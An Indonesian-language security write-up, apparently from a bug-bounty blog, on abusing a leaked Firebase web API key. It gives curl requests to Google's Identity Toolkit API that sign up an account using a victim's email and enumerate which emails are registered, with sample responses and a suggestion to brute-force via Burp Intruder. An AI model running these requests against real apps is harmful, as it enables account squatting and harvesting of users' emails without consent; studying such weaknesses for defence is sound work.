Diatas adalah gambaran bagaimana hubungan sebuah firebase project dengan Google Identity Platform yang mana mereka saling berhubungan, seperti yang dijelaskan oleh Jen Person (Developer Relations Engineer for Google Cloud)

I admit that it is challenging to pin down the relationship between Google Cloud and Firebase. My oversimplified explanation is that Firebase is the way to access some Google Cloud Platform products from a client application. Specifically for Identity Platform, this explanation works well. The Firebase Auth SDKs enable you to access Identity Platform functionality from your client app.

When adding Identity Platform to a Google Cloud project, a Firebase project is automatically created. This is one of those instance where the Firebase/Cloud relationship can be a bit confusing. When you start by creating a Firebase project, this is also a Cloud project, but a Cloud project isn’t necessarily a Firebase one unless you activate certain services or import the project to Firebase. β€” by Jen Person

Dan untuk menggunakan fungsi tersebut tentunya kita harus mendapatkan config firebasenya seperti contoh berikut :

Contoh Config Firebase

config = {
"apiKey": "AIzaSyCw5C6O23ThPk_ivcxt1Aexample",
"authDomain": "example-app.firebaseapp.com",
"databaseURL": "https://example-app.firebaseio.com",
"projectId": "example-app",
"storageBucket": "example-app.appspot.com",
"messagingSenderId": "111111111111",
"appId": "1:101547731766:web:blablablaaaaaaaaaaaaaa",
"measurementId": "G-R7blablaablaaaaaaaaa"
}

Exploitasi

Disini saya menggunakan skenario dimana saya akan melakukan register menggunakan email korban pada website yang menggunakan config firebase tersebut.

Gunakan payload berikut untuk melakukan register akun

curl 'https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=Firebase_APIKey' \
-H 'Content-Type: application/json' \
--data-binary '{"email":"victim@mail.com","password":"terserahanda","returnSecureToken":true}'

Setelah itu anda akan mendapatkan response

{
"idToken": "[ID_TOKEN]",
"email": "user@example.com",
"refreshToken": "[REFRESH_TOKEN]",
"expiresIn": "3600",
"localId": "tRcfmLH7..."
}

Nahh didalam response tersebut terdapat idToken yang nantinya dapat digunakan untuk melakukan beberapa aktifitas seperti change passwordupdate profilesee profileslinking with oauth credential, etc..
Untuk payloadnya bisa dilihat pada web dokumentasinya https://firebase.google.com/docs/reference/rest/auth

Perform a user enumeration

curl 'https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=API_KEY' \
-H 'Content-Type: application/json' \
--data-binary '{"identifier":"korban@example.com","continueUri":"http://localhost:8080/app"}'

Output apabila berhasil ditemukan data berdasarkan email

{
  "allProviders": [
    "password",
    "google.com"
  ],
  "registered": true
}

Teknik penyerangan

Attacker dapat melakukan serangan brute force dengan menggunakan tools umum seperti intruder milik burpsuite untuk mendapatkan informasi berdasarkan email

Dampak

Attacker dapat mengetahui email apa saja yang terdaftar pada database firebase dan bagaimana cara korban terdaftar atau masuk.